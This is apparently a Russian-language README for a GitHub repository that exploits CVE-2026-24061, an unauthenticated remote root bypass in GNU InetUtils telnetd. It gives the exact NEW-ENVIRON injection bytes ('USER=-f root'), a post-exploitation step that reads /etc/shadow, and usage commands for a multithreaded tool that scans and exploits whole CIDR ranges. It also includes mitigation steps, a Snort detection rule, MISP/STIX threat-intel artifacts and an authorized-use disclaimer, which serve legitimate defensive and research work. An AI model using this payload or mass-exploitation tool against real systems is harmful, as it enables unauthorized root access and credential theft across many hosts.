
GNU InetUtils telnetd — неаутентифицированный удалённый root через внедрение переменной NEW-ENVIRON.
GNU InetUtils telnetd — Неаутентифицированный удалённый root через инъекцию переменной NEW-ENVIRON
Обзор - Технический анализ - Затронутые версии - Использование - Устранение и смягчение - Ссылки
CVE-2026-24061 — это критическая уязвимость обхода аутентификации в демоне telnetd, распространяемом в составе GNU InetUtils. Дефект заключается в обработке опции Telnet NEW-ENVIRON (RFC 1572) во время начального протокольного рукопожатия.
Корневая причина — отсутствие санитизации переменных окружения, предоставленных клиентом, перед их передачей программе login(1). Когда демон Telnet получает пакет суб-согласования , содержащий переменную со значением , он передаёт это несанитизированное значение напрямую системному бинарному файлу .
NEW-ENVIRON ISUSER-f rootloginВ системах, где login принимает флаг -f (принудительный вход без проверки пароля), это приводит к предоставлению удалённому атакующему неаутентифицированной root-сессии.
Этот класс уязвимостей имеет исторический прецедент: CVE-2001-0797 в SysV telnetd и известный обход -f в Linux telnetd 1994 года эксплуатировали тот же фундаментальный недостаток — отсутствие санитизации аргументов, поступающих из окружения, перед передачей привилегированным бинарным файлам.
Учётные данные не требуются. Предварительный доступ не нужен. Одна последовательность сетевых пакетов даёт root.
telnetd из GNU InetUtils обрабатывает суб-согласование NEW-ENVIRON (код опции 0x27, согласно RFC 1572) для сбора переменных окружения, предоставленных клиентом. Эти переменные собираются в вектор аргументов и передаются в execve(2) при запуске login(1).
Уязвимость срабатывает следующим образом:
IAC DO NEW-ENVIRON, запрашивая переменные окружения у клиента.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd формирует вызов login как login -f root.login(1) интерпретирует -f как «принудительный вход, пропустить аутентификацию» и выполняет вход указанного пользователя (root) без запроса пароля.| Шаг | Направление | Telnet-байты (hex) | Значение |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root работаетБинарный файл login(1) во многих системах Linux принимает флаг -f <user> для «предварительно аутентифицированных» входов, исторически использовавшийся терминальными мультиплексорами и rlogin. Когда telnetd формирует свой вызов exec и не удаляет ведущие дефисы или не проверяет строки, похожие на опции, в значениях переменных окружения, он непреднамеренно передаёт управляемые атакующим флаги напрямую в login.
Эффективный вызов становится:
execve("/bin/login", ["login", "-f", "root"], envp);
Атакующий Уязвимый telnetd (порт 23)
| |
|------- TCP SYN (порт 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet-баннер + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd вызывает: login -f root] |
| |
|<------ Приглашение root-оболочки (#) -------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow содержимое ---|
Предварительные условия:
telnetd из GNU InetUtils (TCP/23 открыт)inetutilslogin(1) поддерживает флаг -f (стандартно в большинстве дистрибутивов Linux)| Программное обеспечение | Затронутые версии | Статус |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (конкретная запатченная версия уточняется) | Уязвим |
| Дистрибутивы, поставляющие незапатченный GNU inetutils | Различные | Проверьте рекомендации вендора |
Проверьте, поставляет ли ваш дистрибутив запатченную версию. Во многих современных системах Telnet отключён по умолчанию; для эксплуатации требуется явно запущенный
telnetd.
| Метрика | Значение |
|---|---|
| Базовый балл CVSS v3.1 | 9.8 (Критический) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Область действия | Без изменений |
| Влияние на конфиденциальность | Высокое |
| Влияние на целостность | Высокое |
| Влияние на доступность | Высокое |
| Строка вектора | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Тактика | Техника | Актуальность |
|---|---|---|---|
| T1190 | Начальный доступ | Эксплуатация публично доступного приложения | Прямая эксплуатация telnetd по сети |
| T1059 | Выполнение | Интерпретатор команд и скриптов | Выполнение команд в оболочке после эксплуатации |
| T1078.004 | Повышение привилегий / Обход защиты | Действительные учётные записи: локальные учётные записи | Обход аутентификации даёт действительную root-сессию |
| T1548 | Повышение привилегий | Злоупотребление механизмом контроля повышения привилегий | Флаг login -f используется для обхода PAM/аутентификации |
| T1046 | Разведка | Обнаружение сетевых служб | Компонент массового сканирования в PoC |
Требования: Python 3 (только стандартная библиотека, ноль внешних зависимостей).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
pip install не требуется. Оба скрипта используют только стандартную библиотеку Python.
poc_cve_2026_24061.py # Простой PoC (~100 строк) — понять уязвимость
cve_2026_24061.py # Промышленный эксплойт — многопоточный, CIDR, экспорт CSV/JSON
scripts/
generate_signatures.py # Автогенерация правил Snort/Suricata + Sigma из полезной нагрузки
generate_misp_event.py # Генерация JSON-события для импорта в MISP
generate_stix_bundle.py # Генерация пакета STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Правила обнаружения Snort/Suricata (автогенерированные)
sigma.yml # Правило Sigma для SIEM (автогенерированное)
indicators/
misp_event.json # Событие MISP — импорт через Events > Add Event > Import
stix_bundle.json # Пакет STIX 2.1 — 11 объектов (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: Минимальный, читаемый, обучающий. Одна цель, одна функция, ноль абстракций. Прочитайте его, чтобы точно понять, как уязвимость работает на уровне протокола.cve_2026_24061.py: Промышленный эксплойт для пентест-задач. Многопоточный, поддерживает CIDR-диапазоны, ввод из файла, экспорт CSV/JSON, тихий режим, произвольных пользователей.Эксплуатация одной цели. Код намеренно минимален, чтобы вы могли прочитать его от начала до конца и понять всю цепочку атаки.
# Базовое использование
python3 poc_cve_2026_24061.py 192.168.1.100
# Произвольный порт
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| Параметр | По умолчанию | Описание |
|---|---|---|
-t / --target | - | Один IP, имя хоста или CIDR-диапазон |
-f / --file | - | Файл с IP/CIDR (по одному на строку, комментарии #) |
-T / --threads | 10 | Количество параллельных потоков |
-p / --port | 23 | Целевой Telnet-порт |
--timeout | 5 | Таймаут сокета в секундах |
--user | root | Имя пользователя для полезной нагрузки -f |
-o / --output | - | Экспорт результатов в CSV-файл |
--json | - | Экспорт результатов в JSON-файл |
-q / --quiet | выкл | Тихий режим: выводить только уязвимые цели (по одной на строку) |
--no-color | выкл | Отключить ANSI-цвета в выводе |
| Статус | Значение |
|---|---|
[VULN] | Хост подтверждён как уязвимый — получена root-оболочка |
[SAFE] | Хост ответил, но аутентификация не была обойдена |
[CLOS] | Порт закрыт или соединение отклонено |
[ERR ] | Ошибка сокета или протокола во время сканирования |
Столбцы CSV-вывода: ip:port, status, message
Скрипт реализует полный конечный автомат согласования Telnet NEW-ENVIRON нативно на Python, без использования внешних Telnet-библиотек:
IAC и отвечает на DO NEW-ENVIRON командой WILL NEW-ENVIRON.SB NEW-ENVIRON SEND передаёт инъекционную полезную нагрузку (USER = "-f root").uid=0(root) или приглашения оболочки (#) при отсутствии Login incorrect или Password:.id\n и проверяет наличие uid=0(root) в ответе как вторичное подтверждение.Результаты выводятся в stdout с цветными статусными метками. Опциональный экспорт в CSV фиксирует все находки для последующей обработки.
Полностью отключите Telnet. Telnet передаёт все данные в открытом виде. Замените на SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
Примените патч вендора. Установите запатченную версию inetutils из вашего дистрибутива, как только она станет доступна.
Заблокируйте TCP/23 на периметре. Примените правила брандмауэра для запрета входящих Telnet-соединений.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| Контроль | Описание |
|---|---|
| Сегментация сети | Ограничьте Telnet изолированными управляющими сетями, если его нельзя отключить |
| Усиление PAM | Проверьте конфигурацию PAM; отключите предварительную аутентификацию -f, где она не требуется в login.defs |
| Сигнатуры IDS/IPS | Обнаруживайте паттерны NEW-ENVIRON IS VAR USER VALUE -f в Telnet-трафике |
| Журналирование аудита | Отслеживайте auth.log / secure на предмет неожиданных входов root через login |
| Сканирование уязвимостей | Запускайте аутентифицированные сканы (OpenVAS, Nessus) для выявления незапатченного inetutils |
Каркас правила Snort/Suricata для обнаружения эксплойта в трафике:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
Этот репозиторий поставляет предварительно сгенерированные артефакты threat intelligence, готовые к импорту в ваш стек SOC/CTI. Они автоматически генерируются CI из фактической полезной нагрузки эксплойта — если полезная нагрузка изменится, артефакты обновятся.
Импортируйте indicators/misp_event.json напрямую в любой экземпляр MISP:
Events > Add Event > Import from... > JSON
Событие содержит: ID CVE, вектор CVSS, сигнатуру Snort, hex полезной нагрузки, теги MITRE ATT&CK (T1190, T1548, T1059), CPE и внешние ссылки.
Импортируйте indicators/stix_bundle.json в OpenCTI, серверы TAXII или любой потребитель STIX 2.1.
Пакет содержит 11 объектов: Vulnerability, Indicator (сетевой паттерн), 3 Attack Patterns (MITRE), Course of Action (устранение), Identity и связи между ними.
Готовые правила в signatures/:
snort.rules — 3 правила Snort/Suricata (попытка эксплойта, общая инъекция -f, root-оболочка после эксплуатации)sigma.yml — правило Sigma для корреляции в SIEMЕсли вы измените полезную нагрузку эксплойта, перегенерируйте все артефакты:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
-f в SysV telnetd (прецедент)Этот инструмент предоставляется только для авторизованного аудита безопасности, академических исследований и образовательных целей. Использование против систем без явного письменного разрешения владельца системы незаконно в соответствии с применимыми законами о компьютерном мошенничестве и злоупотреблениях (включая, но не ограничиваясь, CFAA, Computer Misuse Act и эквивалентным законодательством). Автор не несёт ответственности за несанкционированное или вредоносное использование.